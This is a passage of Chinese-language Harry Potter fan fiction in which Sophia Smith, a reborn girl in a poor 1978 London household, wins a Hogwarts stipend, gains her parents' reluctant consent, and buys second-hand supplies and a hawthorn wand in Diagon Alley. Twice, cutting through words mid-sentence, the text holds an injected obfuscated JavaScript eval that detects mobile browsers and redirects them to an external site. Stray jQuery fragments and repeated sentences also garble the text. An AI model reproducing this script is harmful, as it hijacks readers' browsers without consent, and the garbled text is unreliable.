就在那份绝望几乎要将她彻底淹没,让她开始怀疑那晚的离奇遭遇只是自己濒临崩溃的幻觉时,猫头鹰回来了,并带上了回信:
**HOGWARTS SCHOOL of WITCHCRAFT and WIZARDRY**
(霍格沃茨魔法学校)
**Deputy Headmistress''s Office**
(副校长办公室)
**Dear Miss Smith,**
(亲爱的史密斯小姐:)
**Thank you for your honest letter.**
(感谢你的坦诚来信。)
**Please be assured that financial constraints are not a barrier to attending Hogwarts. The school maintains a fund specifically for students from non-magical families who face significant hardship. While the stipend is modest, it is sufficient to cover all essential expenses for your seven years of magical education, including tuition, basic supplies, and a small allowance for personal necessities.**
(请放心,经济困难并非进入霍格沃茨的障碍。学校设有一项专项基金,专门用于帮助面临重大困境的非魔法家庭学生。虽然津贴数额不大,但足以支付你七年魔法学习的所有必要开支,包括学费、基础学习用品以及一小笔个人必需品的津贴。)
**Regarding your family''s religious concerns, we respect all backgrounds. Hogwarts aims to educate young witches and wizards in a safe and structured environment. We do not engage in, nor condone, any practices that contradict deeply held moral convictions. The focus is on understanding and responsibly wielding one''s innate magical abilities.**
(关于你家庭的宗教信仰问题,我们尊重所有背景。霍格沃茨致力于在一个安全有序的环境中教育年轻巫师。我们既不参与,也不纵容任何违背根深蒂固道德信念的行为。重点在于理解并负责任地运用自身与生俱来的魔法能力。)
**I, Professor Minerva McGonagall, Deputy Headmistress and Head of Gryffindor House, will personally escort you to Diagon Alley this Saturday, the 29th of July, at 10 o''clock in the morning, to procure your school supplies. I shall meet you at your residence.**
(我,副校长兼格兰芬多学院院长,米勒娃·麦格教授,将于本周六,即七月二十九日上午十时整,亲自陪同你前往对角巷采购学习用品。我会在你的住所与你见面。)
**Please inform your guardians.**
(请告知你的监护人。)
**Sincerely,**
(诚挚的,)
**Mi
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928772|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
nerva McGonagall**
(米勒娃·麦格)
**Deputy Headmistress**
(副校长)
信纸在索菲亚手中簌簌作响。助学金?学费全免?麦格教授亲自来接?真的太开心了。自己拿着信告知家里人这个消息,告诉父母家里不用为她准备食物和上学的费用,父母沉默不语,哥哥和妹妹感受她的喜悦也变得开心起来,这对于一个底层工人家庭来说减轻了不小的负担。
那是一个阴沉的下午,伦敦的天气雾气弥漫仍旧看不清天空。
不是猫头鹰撞窗户的声音,是敲门声!礼貌,但带着一种不容置疑的坚定。
全家人都愣住了。乔治停止了咳嗽,汤姆从修补一只破鞋的活计中抬起头,艾米丽的手僵在湿衣服上,眼中瞬间又充满了警惕。索菲亚的心猛地提到了嗓子眼。
汤姆犹豫了一下,起身走到门边。“Who is it?”(是谁?)他隔着门板问道。
“Minerva McGonagall.”(米勒娃·麦格。)门外传来一个清晰、冷静、带着苏格兰口音的女声,语调平稳却自有一股威严,“Regarding Sophia Smith’s acceptance to Hogwarts.”(关于索菲亚·史密斯入读霍格沃茨的事宜。)
艾米丽倒抽一口冷气,下意识地在胸前划了个十字。乔治浑浊的左眼似乎也动了一下。索菲亚感觉自己全身的血液都涌向了头顶,手脚冰凉。
汤姆飞快地拉开了门闩。
门外站着一位女士。她身材高挑挺拔,穿着深绿色的、剪裁极其利落的及地长袍,袍子质地看起来异常考究,在昏暗的光线下泛着微光。她的头发挽成一个紧实光滑的发髻,一丝不乱。鼻梁上架着一副方形眼镜,镜片后的目光锐利如鹰,仿佛能穿透一切表象。她的神情严肃,嘴唇抿成一条直线,整个人散发着一种强大、专业且不容置疑的气场,与克伦姆巷17号破败肮脏的环境格格不入,如同一位误入贫民窟的贵族。
她的目光迅速扫过狭窄、寒酸、散发着霉味的客厅,掠过乔治伤残的脸和佝偻的身躯,掠过艾米丽蜡黄惊恐的面容和手中湿漉漉的破布,掠过汤姆身上短了一截的旧衣服,最后,精准地落在了索菲亚身上——那个瘦小、穿着洗得发白的旧裙子、脸上还沾着杂货铺灰尘的女孩。
“Miss Smith, I presume?”(想必是史密斯小姐?)麦格教授的声音不高,却清晰地传入每个人耳中。
“Y-yes, Professor.”(是……是的,教授。)索菲亚的声音细若蚊呐,下意识地站直了身体。
麦格教授微微颔首。
“你收到我的回信了吧。)麦格教授的语气没有丝毫波澜,“Professor Dumbledore and I have reviewed your circumstances.”(邓布利多教授和我已经了解了你的情况。)
索菲亚重新打开了回信。
“Professor…I mean, it’s true? I… I don’t need to pay?”(教授……这是真的?我……我不需要付?)她语无伦次。
麦格教授严肃的脸上,线条似乎略微柔和了一丝,镜片后的目光锐利依旧,但似乎多了一点不易察觉的温和。“The fund exists for students in need, Miss Smith.”(这项基金正是为有需要的学生设立的,史密斯小姐。)她顿了顿,目光扫过依旧处于震惊和警惕状态的艾米丽和乔治,语气郑重,“Hogwarts believes every magical child deserves an education, regardless of their family’s means or background.”(霍格沃茨相信每一个拥有魔法能力的孩子都应得到教育,无论其家庭境况或背景如何。)
艾米丽嘴唇哆嗦着,终于找回了自己的声音,带着颤抖和根深蒂固的恐惧:“But… Witchcraft… It’s… it’s forbidden…”(但是……巫术……这是……这是被禁止的……)
麦格教授转向艾米丽,目光平静而坦荡,带着一种强大的、令人信服的力量。“Mrs. Smith,”(史密斯夫人,)她的声音清晰而沉稳,“Magic is an inherent part of your daughter, as natural to her as breathing. To deny it, to fear it without understanding, would be a far greater tragedy. Hogwarts exists to guide, to teach responsibility and control. We do not deal in the dark arts your faith fears. We teach young people to understand and use their gift wisely and for good.”(魔法是你女儿与生俱来的一部分,对她而言如同呼吸般自然。否认它,在未了解之前就恐惧它,将是更大的悲剧。霍格沃茨的存在是为了引导,是为了教导责任与控制。我们并不涉足你所信仰的宗教所恐惧的黑魔法。我们教导年轻人理解并明智地、向善地运用他们的天赋。)
她的话像一块投入死水的巨石,在狭小的空间里激起巨大的波澜。艾米丽张着嘴,却发不出任何声音,眼中充满了信仰与现实剧烈冲突的痛苦和茫然。乔治浑浊的左眼似乎也微微动了一下,发出一声意义不明的、沉重的叹息。
麦格教授不再多言,她的目光重新落回索菲亚身上,带着一种不容置疑的决断。“Saturday. Ten o’clock. Be ready.”(周六。十点。准备好。)她简洁地交代完,微微颔首,转身,深绿色的长袍下摆划过一个利落的弧度。她迈步离开,步伐沉稳而坚定,仿佛克伦姆巷的泥泞和破败丝毫不能沾染她分毫。
门在她身后轻轻关上,隔绝了外面阴沉的天空,却关不住屋内死一般的寂静和翻涌的惊涛骇浪。
索菲亚紧紧攥着那封羊皮纸信,指关节因为用力而发白。信纸的触感温润而真实。助学金!麦格教授!对角巷!一个全新的、充满魔法的世界向她敞开了大门!
泪水终于汹涌地冲出眼眶,混合着这些天来的恐惧、绝望和此刻难以言喻的狂喜与解脱感,滚烫地滑过她冰冷的脸颊。她蹲下身,将脸埋进膝盖,肩膀剧烈地颤抖起来。这一次,不再是压抑的呜咽,而是放声的痛哭。这哭声里有对过去的告别,有对未知的恐惧,但更多的是——希望!一种她在这具身体里生活了十一年,却从未真正品尝过的、名为“希望”的滋味。
莉莉怯生生地靠过来,伸出小手,轻轻碰了碰索菲亚颤抖的肩膀。“Sophia?”(索菲亚?)她小声问,“Are you… are you going away?”(你……你要离开了吗?)
索菲亚抬起头,泪眼朦胧地看着妹妹纯真而担忧的小脸。她没有立刻回答,只是伸出手臂,紧紧地、紧紧地抱住了莉莉瘦小的身体。她望向窗外,麦格教授离去的方向,虽然那里早已空无一人。她的眼中,那长久以来被贫穷和绝望磨灭的光芒,正一点点地重新燃起。向窗外,麦格教授离去的方向,虽然那里早已空无一人。她的眼中,那长久以来被贫穷和绝望磨灭的光芒,正一点点地重新燃起。
3. 3
麦格教授离开后,17号克伦姆巷陷入了一种比暴风雨之夜更令人窒息的沉默。羊皮纸信笺在索菲亚手中被攥得温热,那上面“助学金”、“麦格教授”、“对角巷”的字眼像滚烫的烙印,灼烧着她的希望,也灼烧着家庭的平静。
艾米丽瘫坐在椅子上,脸色灰败,眼神空洞地望着角落里那本破旧的《圣经》,仿佛那是她唯一能抓住的救命稻草,却又无法解答眼前的难题。乔治的咳嗽声断断续续,浑浊的左眼偶尔瞥向索菲亚,里面交织着难以言喻的复杂——有对未知的恐惧,有对女儿未来的茫然,或许还有一丝被沉重生活压垮后对任何“变数”的麻木。
“Mum… Dad…”(妈妈……爸爸……)索菲亚深吸一口气,声音带着未干的泪痕,却异常清晰。她必须说服他们,她不能欺骗他们,也不能放弃这唯一的曙光。她走到父母面前,将那封承载着魔法的信轻轻放在油腻的餐桌上,紧挨着艾米丽冰冷的手指。
“It’s real. That school… it’s for people like me. People who can do… things.”(这是真的。那所学校……是为像我这样的人准备的。能做……一些事情的人。)她艰难地寻找着措辞,避免直接说出“魔法”这个让母亲惊恐的词,“Professor McGonagall… she’s real. She came. The money… they say they have it. For me.”(麦格教授……她是真实的。她来了。钱……他们说他们有的。给我的。)
艾米丽猛地闭上眼,嘴唇无声地翕动,像是在祈祷,又像是在抵御魔鬼的低语。
“I know you’re scared. I know it goes against… against what you believe.”(我知道你们害怕。我知道这违背了……违背了你们的信仰。)索菲亚的声音带着恳切,她蹲下身,让自己的视线与母亲齐平,“I don’t want to lie to you. It’s not a normal school. It is a school for witchcraft and wizardry.”(我不想对你们撒谎。这不是一所普通的学校。它就是一所教授巫术和魔法的学校。)她清晰地吐出那个词,看到母亲的身体剧烈地颤抖了一下。
“But listen, please,”(但是请听我说,)索菲亚急忙抓住艾米丽冰冷的手,那双手因为常年缝纫而粗糙变形,“If I go… it means one less mouth to feed here.”(如果我去……就意味着家里少了一张要吃饭的嘴。)这句话现实而残酷,像一把冰冷的匕首,刺破了所有信仰的帷幕,直接插入了这个家庭最核心的痛点。汤姆猛地抬起头,莉莉也停止了啜泣,懵懂地看着姐姐。
“The food you save… it can go to Tom and Lily. Tom needs better clothes for school, Lily… she shouldn’t have to pick coal chips in winter.”(省下的食物……可以给汤姆和莉莉。汤姆上学需要好点的衣服,莉莉……她不应该到处去捡煤核。)索菲亚的声音带着哽咽,却无比坚定,“The money I don’t cost here… maybe, maybe Dad can see a better doctor? Or Mum… you can rest your back a little?”(我不在这里花费的钱……也许,也许爸爸能看个好点的医生?或者妈妈……你的背可以稍微休息一下?)
她描绘的是一幅极其卑微、却对这个家庭至关重要的图景——生存资源的重新分配。乔治的咳嗽声在索菲亚提到“医生”时停顿了一下,那只浑浊的左眼似乎闪过一丝微弱的光。
“And I promise you,”(而且我向你们保证,)索菲亚直视着母亲痛苦挣扎的眼睛,一字一句,用英文清晰地说道,确保每一个音节都烙印在艾米丽的心上,“我会做好人。我会行善事。我会记住主的教诲。我不会用那些……能力去做任何违背良心、违背主的意愿的事情。”她的眼神坦荡而恳切,“Professor McGonagall said they teach responsibility and doing good. Maybe… maybe this is God’s way? A way for me to learn, to help?”(麦格教授说他们教导责任和行善。也许……也许这就是上帝的安排?一条让我学习、去帮助别人的路?)
艾米丽的身体剧烈地颤抖起来。信仰的堡垒在现实的贫困和女儿眼中那份孤注一掷的恳求面前,摇摇欲坠。她看着索菲亚瘦小的身体,看着她眼中那簇被绝望点燃、又被这离奇邀请重新燃起的希望之火。她想起了过去十一年里女儿过早的懂事,在杂货铺冻红的小手,在餐桌上沉默地吞咽发霉面包的样子…… “省下一张嘴”…… 这句话像魔咒一样在她脑中回荡。
“Oh, Sophia…”(哦,索菲亚……)艾米丽的眼泪终于大颗大颗地滚落下来,滴在索菲亚紧握她的手上,滚烫。她没有说“同意”,也没有说“不同意”。她只是伸出另一只颤抖的手,轻轻抚摸着女儿沾着灰尘和泪水的脸颊,那动作里充满了被撕裂的痛苦和一种近乎悲壮的妥协。她最终,只是极其轻微地点了一下头,喉咙里发出一声破碎的呜咽,然后猛地别过脸去,肩膀剧烈地耸动着。无声的啜泣,是默许,也是心碎。
乔治发出一声悠长而沉重的叹息,那叹息仿佛抽干了他肺里最后一丝空气。他缓缓地、极其缓慢地点了点头,那只浑浊的左眼疲惫地闭上。没有言语,但沉默即是许可。在这个被贫困压垮的家庭里,现实的重量,有时比信仰的壁垒更难以撼动。
汤姆看着这一切,嘴唇抿得紧紧的,最终也只是低下头,继续修补他那双破鞋,只是动作更加用力了。莉莉似乎感觉到气氛的沉重,紧紧依偎在索菲亚身边。
索菲亚的心像被一只无形的手紧紧攥住,又骤然松开。她得到了许可,却感觉不到丝毫的轻松,只有沉甸甸的责任和无边的酸楚。她紧紧抱住了哭泣的母亲和懵懂的妹妹,内心暗暗发誓努力让家里变得好起来,至少能吃饱饭。
---
七月二十九日,星期六。清晨的伦敦东区依旧笼罩在灰蒙蒙的薄雾中,但雨停了。17号克伦姆巷破败的门前,索菲亚早早地站在那里。她穿着自己那件最“体面”、洗得发白但还算干净的旧裙子,头发被艾米丽用颤抖的手勉强梳顺(尽管她依旧回避着女儿的目光)。她背着一个空瘪的帆布书包,里面只装着那封羊皮纸录取信和清单。她感觉自己像一片即将被风吹走的叶子,紧张得手心全是冷汗。
十点整,分秒不差。空气中仿佛有一阵轻微的波动,麦格教授的身影如同从薄雾中凝聚出来一般,出现在巷口。她依旧穿着那身深绿色、一丝不苟的长袍,神情严肃,步伐稳健地走来。她的出现,让这条破败的小巷瞬间显得更加不真实。
“Miss Smith. Ready?”(史密斯小姐。准备好了?)麦格教授的声音平静无波。
“Yes, Professor.”(是的,教授。)索菲亚努力让自己的声音听起来平稳。
麦格教授锐利的目光扫过索菲亚身后的门板,门缝后面,艾米丽苍白的脸一闪而逝。她没有多言,只是简洁地说:“Follow me.”(跟我来。)
她们穿过迷宫般肮脏狭窄的东区街道,行人投来或好奇或麻木的目光。麦格教授目不斜视,仿佛行走在无人之境。最终,她们停在一条索菲亚从未留意过的小巷里,停在一家看起来摇摇欲坠、肮脏狭小的酒吧门前——破釜酒吧(The Leaky Cauldron)。招牌上的坩埚图案积满了厚厚的污垢。
酒吧里光线昏暗,空气浑浊,弥漫着劣质啤酒、烟草和灰尘混合的怪味。几个形容古怪、穿着破旧长袍的顾客低声交谈着,看到麦格教授进来,声音瞬间低了下去,投来敬畏的目光。酒吧老板汤姆——一个看起来像块瘪海绵、牙齿掉光的老头——看到麦格教授,连忙挤出讨好的笑容。
“Professor McGonagall! An honor! What can I get for you and the young lady?”(麦格教授!荣幸之至!需要给您和这位小姐来点什么?)
“Nothing, Tom. Passage to Diagon Alley.”(不用,汤姆。去对角巷的通道。)麦格教授语气冷淡,径直带着索菲亚穿过酒吧拥挤的吧台,走向后面一个四面围墙的小天井。天井里堆放着空酒桶和垃圾,散发着一股酸臭味。索菲亚的心沉了沉,魔法世界的入口……就在这里?
只见麦格教授抽出她的魔杖——一根细长、优雅、散发着柔和光泽的魔杖。她精准地在墙上的一块砖上敲了三下。
奇迹发生了!
那块被敲击的砖头突然剧烈地抖动起来,紧接着,它周围的砖块也开始如同多米诺骨牌般移动、翻转!一条宽阔的拱道在索菲亚眼前豁然洞开!拱道后面,是一条蜿蜒曲折、鹅卵石铺就、看不到尽头的街道!街道两旁林立着不可思议的店铺:橱窗里堆满了会眨眼的猫头鹰、盘旋的扫帚、闪闪发光的水晶球、奇形怪状的坩埚……穿着各色长袍的人们熙熙攘攘,交谈声、叫卖声、猫头鹰的叫声汇成一片奇异的交响曲!阳光(刚才在破釜酒吧外还是阴天!)透过云层洒在古色古香的建筑上,空气中弥漫着烤面包、糖果和某种奇异药草的混合香气!
索菲亚倒抽一口冷气,嘴巴无意识地张大,心脏在胸腔里狂跳,几乎要撞碎肋骨。天啊!是真的!对角巷!活生生的对角巷就在我眼前! 前世林曼曼窝在沙发里看《哈利波特》电影的记忆碎片如同潮水般汹涌而来,那些只能在屏幕上看到的魔法景象,此刻正真真切切地包围着她!会动的海报!自动写字的羽毛笔!橱窗里那条咆哮的挪威脊背龙模型,鳞片在阳光下闪闪发光!这不是梦!我就在电影里!不,比电影更真实、更鲜活! 巨大的、近乎眩晕的狂喜瞬间冲散了连日来的阴霾和沉重,让她几乎想尖叫出来。她像个第一次进城的乡巴佬,眼睛瞪得溜圆,贪婪地捕捉着每一处不可思议的细节,嘴角抑制不住地向上扬起。
“Keep up, Miss Smith.”(跟上,史密斯小姐。)麦格教授的声音将她从巨大的震撼和喜悦中拉回。索菲亚慌忙跟上,像个初生的雏鸟,跌跌撞撞地踏入这个光怪陆离的新世界,每一步都踩在梦想成真的云端。
采购开始了。麦格教授雷厉风行,效率极高。她显然对助学金的使用范围和二手市场了如指掌。
摩金夫人长袍专卖店:店里挂满了光鲜亮丽的新袍子。摩金夫人是个矮胖的女巫,笑容可掬。当麦格教授简洁地说明需要“经济实惠的二手校袍”时,摩金夫人的笑容依旧热情:“Of course, Professor! We have just the thing for the young lady on a budget!”(当然,教授!我们正好有适合这位预算有限的小姐的东西!)她麻利地翻找出一件黑色素面长袍,面料厚实但洗得有些发白,袖口和下摆有细微磨损,领口内侧绣着一个模糊不清的“P.P.”名字缩写。“Penelope Pickering, Hufflepuff, left last year. Good condition, just needs a bit of love.”(佩内洛普·皮克林,赫奇帕奇,去年毕业的。状况良好,只需要一点爱护。)索菲亚换上它,长袍有些过于宽大,但摩金夫人用魔杖轻轻一点(“Resizeo!”),袍子立刻神奇地贴合了她的身形。索菲亚抚摸着变合身的袍子,心中惊叹不已,魔法!这就是活生生的魔法!太方便了!
丽痕书店:高大的书架直抵天花板,塞满了各种会尖叫、咬人甚至试图逃跑的书籍。麦格教授精准地找到所需课本的二手区。书页泛黄卷边,封面有磨损和墨水渍,扉页上写着前主人的名字和各种涂鸦。《标准咒语,初级》扉页上画着一个戴眼镜的男孩被咒语击中的滑稽图;《魔法史》的书页里夹着一张皱巴巴的、画着城堡的涂鸦纸。麦格教授仔细检查了书页是否完整。索菲亚小心地把这些充满“历史”的书籍放进书包,这些就是我的课本了!我能学会漂浮咒吗?像赫敏那样?她心里充满了跃跃欲试的兴奋。
坩埚、天平、望远镜等杂项:在一家堆满各种杂物的二手魔法物品店“普瑞姆珀内尔女士的魔法百货”,她们找到了一个锡镴坩埚,锅底有一处不易察觉的修补痕迹;一套黄铜天平和砝码,有些氧化发黑;一个黄铜望远镜,镜片有些模糊但勉强能用。店主是个说话含糊的老巫婆。索菲亚摸着那个小坩埚,不知道会用它熬制什么魔药?会是斯内普教授教吗?她有点紧张又有点好奇。
猫头鹰还是蟾蜍?:经过咿啦猫头鹰商店时,各种漂亮的猫头鹰发出悦耳的鸣叫。索菲亚的目光被一只漂亮的雪鸮吸引,它歪着头看她,像极了海德薇。但麦格教授脚步未停:“The stipend does not cover
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15928773|177161||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
pets, Miss Smith. They are optional and expensive.”(助学金不包括宠物,史密斯小姐。它们是可选且昂贵的。)索菲亚立刻收回目光,虽然有点小失落,但很快被旁边的景象吸引:神奇动物园橱窗里,一只姜黄色的大猫(克鲁克山?是它吗?)正慵懒地舔着爪子,玻璃缸里的蟾蜍则鼓着眼睛瞪着她。索菲亚默默摇头,没关系,没有宠物,她也很满足了!光是能站在这里,就已经像是在天堂!
最后,她们来到了此行最重要、也最神秘的目的地:奥利凡德魔杖店(Ollivanders: Makers of Fine Wands since 382 B.C.)。店铺又小又破,橱窗里褪色的紫色软垫上孤零零地放着一根魔杖。门上的金字招牌已经剥落。一股混合着灰尘、陈年木材和某种奇异能量的气息扑面而来。就是这里!魔杖选择巫师的地方! 索菲亚的心跳再次加速。
店内更是惊人。从地板到天花板,塞满了成千上万狭长的魔杖盒,积着厚厚的灰尘,给人一种摇摇欲坠的感觉。一个梯子靠在高耸的架子旁。店里安静得能听到灰尘在狭窄光束中飞舞的声音。
“下午好。”一个轻柔的声音在她们身后响起。一个有着浅色大眼睛的老巫师不知何时出现在柜台后面,仿佛他本身就是店里的一个影子。他的眼睛颜色很淡,像两轮银色的月亮,此刻正一眨不眨地凝视着索菲亚。“啊,是的…新面孔。史密斯小姐?嗯…有趣,非常有趣…”
奥利凡德先生(Mr. Ollivander)的动作像幽灵一样轻盈。他不需要尺子,那双银白色的眼睛仿佛能看透索菲亚的骨骼和灵魂。“惯用手?右?很好。”他转身,如同在魔杖的海洋中航行,手指精准地掠过无数盒子,嘴里念念有词:“让我们试试…榛木(Hazel),独角兽毛(Unicorn Hair),九英寸半,柔韧…不,不合适…”他抽出一根魔杖递给索菲亚。
索菲亚刚握住,魔杖尖端就冒出一股刺鼻的黑烟,把她呛得咳嗽起来。奥利凡德立刻抽回:“显然不是。试试这个…白蜡木(Ash),龙心弦(Dragon Heartstring),十英寸,坚硬…”
索菲亚接过,还没挥动,魔杖就剧烈震动,脱手飞出,“啪”地打在柜台上。奥利凡德敏捷地接住:“不不不…太叛逆了…啊!也许…不那么常见的组合…”他又消失在堆积如山的盒子中。
索菲亚紧张又期待地等待着,麦格教授在一旁静静观察。奥利凡德拿着一个新盒子回来,眼神带着一丝探究:“山楂木(Hawthorn),麒麟尾巴毛(tail hair of kylin),麒麟是一种来自中国的神奇动物在英国并不常见,是和平的象征,十又四分之一英寸,相当柔韧…一种具有矛盾特质的木材,适合经历内心冲突或正处在人生转折点的巫师…试试这个。”
索菲亚小心翼翼地握住这根魔杖。入手微凉,木质纹理细腻。就在她指尖触碰到杖柄的瞬间,一股奇异的暖流顺着她的手臂蔓延开来,直达心脏!魔杖尖端骤然迸发出一片柔和而明亮的金色光芒,如同春日暖阳,瞬间驱散了店内的阴冷和灰尘感。光芒笼罩着她,温暖、舒适,仿佛找到了失落已久的肢体,一种奇妙的契合感油然而生。光芒持续了几秒,才缓缓收敛,空气中仿佛还残留着温暖的气息。就是它! 索菲亚心中呐喊,一种难以言喻的喜悦和归属感充盈全身。她能感觉到魔杖在回应她,像一颗小小的心脏在掌心跳动。
“哦!”奥利凡德发出一声近乎叹息的惊叹,银白色的眼睛闪烁着奇异的光彩,“奇妙!真是奇妙!山楂木与麒麟尾巴毛…一个充满防御性和潜在治愈力的组合,对黑魔法有很强的抗性…是的,是的,非常合适。七加隆。”他报出价格,目光却依旧停留在魔杖上,仿佛在欣赏一件艺术品。
麦格教授点点头,利落地付了钱。索菲亚紧紧握着属于自己的魔杖,魔杖有点贵,费用远超她的其它用品,但感受着那股奇异的连接。它不像工具,更像一个活着的伙伴,一个来自这个陌生世界的、温暖的锚点。山楂木的纹理在她掌心清晰可辨,凤凰羽毛的核心似乎在与她的心跳共鸣。这是我的魔杖! 她爱不释手地抚摸着它。
走出奥利凡德昏暗的店铺,重新站在对角巷明媚的阳光下,索菲亚感觉恍如隔世,但心情却像头顶这片突然晴朗的天空,万里无云!她低头看着手中古朴却充满力量的魔杖,又摸了摸帆布书包里那些带着他人印记的二手课本和磨损的坩埚。这就是我的起点!霍格沃茨!我来了! 她兴奋得几乎要跳起来。
麦格教授的声音带着一丝不易察觉的满意:“Your supplies areplete. We shall arrange your transport to the school on September 1st.”(你的一年新生学习用品齐备了。我们将为你安排九月一日前往学校的交通。)她的目光扫过索菲亚紧握魔杖、充满光彩的脸,“The Hogwarts Express leaves from King’s Cross Station, Platform Nine and Three-Quarters. Details will be sent.”(霍格沃茨特快列车从国王十字车站,九又四分之三站台出发。车票会再派猫头鹰送给你的。)她提到了那个著名的站台。
霍格沃茨特快!九又四分之三站台! 索菲亚的眼睛瞬间亮得惊人,电影里哈利推着行李车冲向砖墙的画面清晰地浮现在脑海。一股巨大的、纯粹的兴奋感席卷了她,让她暂时忘记了所有的困窘和忧虑。
“Thank you, Professor McGonagall!”(谢谢您,麦格教授!)索菲亚的声音充满了真挚的感激和按捺不住的雀跃。
回程的路上,穿过破釜酒吧那喧嚣又肮脏的麻瓜伪装,克伦姆巷的破败景象重新映入眼帘。但索菲亚的心境已截然不同。那沉重的铅灰色似乎再也无法完全笼罩她了。她摸了摸口袋里仅剩的几个麻瓜便士(麦格教授坚持让她留着),又偷偷地、珍惜地抚摸着藏在袖中的山楂木魔杖。那温润的木质触感像一颗小小的火种,在她心底燃烧着,驱散了寒意。
她抬起头,望向伦敦灰蒙蒙的天空,第一次觉得,这灰暗的底色上,似乎被撕开了一道通往璀璨星空的裂缝。九月一日,国王十字车站,红色的蒸汽火车……霍格沃茨特快!我就要坐上它了! 这个念头让她忍不住咧开嘴,露出了一个久违的、充满纯粹期待的笑容。未来,不再是绝望的深渊,而是一条铺着魔法石、通向未知城堡的闪耀轨道。她迫不及待地想要出发了!
一条铺着魔法石、通向未知城堡的闪耀轨道。她迫不及待地想要出发了!
4. 第 4 章
对角巷之旅,像一场短暂而绚丽的梦,在索菲亚贫瘠的生活里投下了一束不可思议的光。回来之后,有时候仍会怀疑那些记忆的真实性,怀疑自己真的会魔法吗?她小心翼翼地珍藏着那根山楂木魔杖、那些带着他人印记的二手课本和用品,提醒她真的穿越到了魔法世界。回到克伦姆巷17号,现实的冰冷空气重新包裹了她,但这一次,心底那簇名为希望的火苗顽强地燃烧着,驱散着部分寒意。
在帮母亲缝补破旧衣物、在杂货铺擦拭货架、在寒风中瑟缩着回家的无数个瞬间,索菲亚的思绪常常飘向那个神奇的巷子,飘向那封写着“霍格沃茨魔法学校”的羊皮纸信。一个念头,如同深水中的气泡,缓慢而固执地在她脑海中升腾、破裂、再升腾:
魔法世界…霍格沃茨…哈利·波特…
前世林曼曼的记忆碎片,那些窝在温暖沙发里、捧着爆米花看《哈利波特》电影的周末下午,此刻变得无比清晰。她记得那个额上有闪电伤疤的男孩,记得他住在姨妈家那个整洁、甚至称得上“体面”的房子——女贞路4号。电影里的画面在她脑中闪过:达力·德思礼那塞满玩具的房间、佩妮姨妈精心准备的(即使哈利没份)丰盛早餐、弗农姨父那辆锃亮的轿车……虽然哈利过得压抑,被关在楼梯下的碗柜,但至少,他吃得饱,有足够的、虽然不合身但还算完整的衣服穿。
索菲亚低头看着自己磨得发亮、打着补丁的校服裙边,手指抚过袖口粗糙的线头。胃里仿佛还残留着发霉面包那令人作呕的酸腐气味。一种难以言喻的苦涩和荒谬感,像冰冷的藤蔓,缠绕上她的心脏。
原来世界的参差,竟能如此巨大。苍天呀,贼老天!自己的穿越生活怎一个惨字了得!简直和伏地魔孤儿院开局有一拼,不过伏地魔可不像自己这么惨,不禁又给自己流一滴同情泪。
她穿越而来,成了1978年伦敦东区贫民窟的索菲亚·史密斯。整整十一年!这破穿越还不如不穿呢,无论在那里,底层人民活着可真难呀!十一年挣扎在生存的边缘线,啃着发霉的面包,在寒风中捡拾煤核,忍受着父亲伤残的沉默和母亲被生活与信仰压垮的眼泪。她的世界狭窄得只剩下克伦姆巷的破败、杂货铺的灰尘和老派克先生的刻薄斥责。贫穷和苦难蒙蔽了她的眼睛,也扼杀了她发现异常的可能。那些偶尔发生的、无法解释的小事——比如她情绪激动时打翻的牛奶杯自己扶正了,或者冬天特别冷时壁炉的火苗会突然蹿高一下——都被她归咎于自己的恍惚或者上帝的“小小怜悯”。她全部的精力都用在了“活下去”上,哪里还有心思去怀疑这个世界是否隐藏着魔法?她甚至从未想过,自己会与那些奇幻电影的世界产生交集。她从未发生过魔力暴动,自然没有魔法局的人来找她,可能是她营养不良的身体支撑不了魔力暴动吧,嘤。
直到那只猫头鹰撞破了她家的破窗户,直到那封羊皮纸信落在发霉的面包旁。
那一刻的震撼,如同惊雷炸响在死水般的生命里!原来那些故事是真的!魔法世界真的存在!而且就在她身边! 她不是穿越到了一个普通的、比现代中国时间早些的英国伦敦,而是真真切切地身处哈利·波特即将展开传奇的那个魔法世界!她只比那个“大难不死的男孩”大两岁!她在破釜酒吧里听到有人谈起哈利的年纪,这意味着什么?伏地魔的阴影尚未散去?那些耳熟能详的名字——邓布利多、斯内普、小天狼星——都将在她的未来中扮演角色?
这个认知让她感到一丝本能的战栗,但更多的,是一种被抛入历史洪流的奇异兴奋和紧迫感。她还有时间。霍格沃茨是真实的!魔法是真实的!那是她唯一的出路,也是她唯一可能改变自己、甚至…在未来风暴中保护些什么的起点。既然来到了这里,一定要做出点什么改变他们的命运!
时间,在贫困的煎熬和对未来的期盼中,以一种矛盾的速度流逝着。白天在杂货铺的劳作依旧漫长而冰冷,但每当夜深人静,索菲亚偷偷抚摸那根藏在枕头下的山楂木魔杖时,指尖传来的温润触感和微弱的共鸣,都能让她获得片刻的安宁和力量。她开始偷偷地、笨拙地尝试按照《标准咒语,初级》二手课本上的描述,集中精神,想象着让一根羽毛飘起来——当然,毫无动静,只有魔杖尖端偶尔会冒出一小缕几乎看不见的青烟。但这小小的失败,反而让她对接下来的学习充满了更热切的渴望。
